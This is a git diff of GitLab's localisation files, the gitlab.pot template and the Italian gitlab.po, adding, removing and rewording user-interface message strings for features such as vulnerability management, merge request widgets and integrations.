@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/it/gitlab.po b/locale/it/gitlab.po
index d6749d72572..7fed1e03739 100644
--- a/locale/it/gitlab.po
+++ b/locale/it/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: it\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:40\n"
+"PO-Revision-Date: 2021-12-06 18:58\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] "%d risultato del test risolto"
msgstr[1] "%d risultati dei test risolti"
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] "%d richiesta di merge a cui non hai accesso."
msgstr[1] "%d richieste di merge a cui non hai accesso."
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] "%d metrica"
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] "%s commit aggiuntivi sono stati omessi per evitare degradi di prestaz
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} & %{openOrClose} %{noteable}"
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] "%{count} approvazioni richieste da %{name}"
msgid "%{count} approvals from %{name}"
msgstr "%{count} approvazioni da %{name}"
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr "%{openOrClose}%{noteable}"
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr "%{state} epici"
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ", o "
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr "Token di accesso"
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr "Aggiungi una directory (cartella)"
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
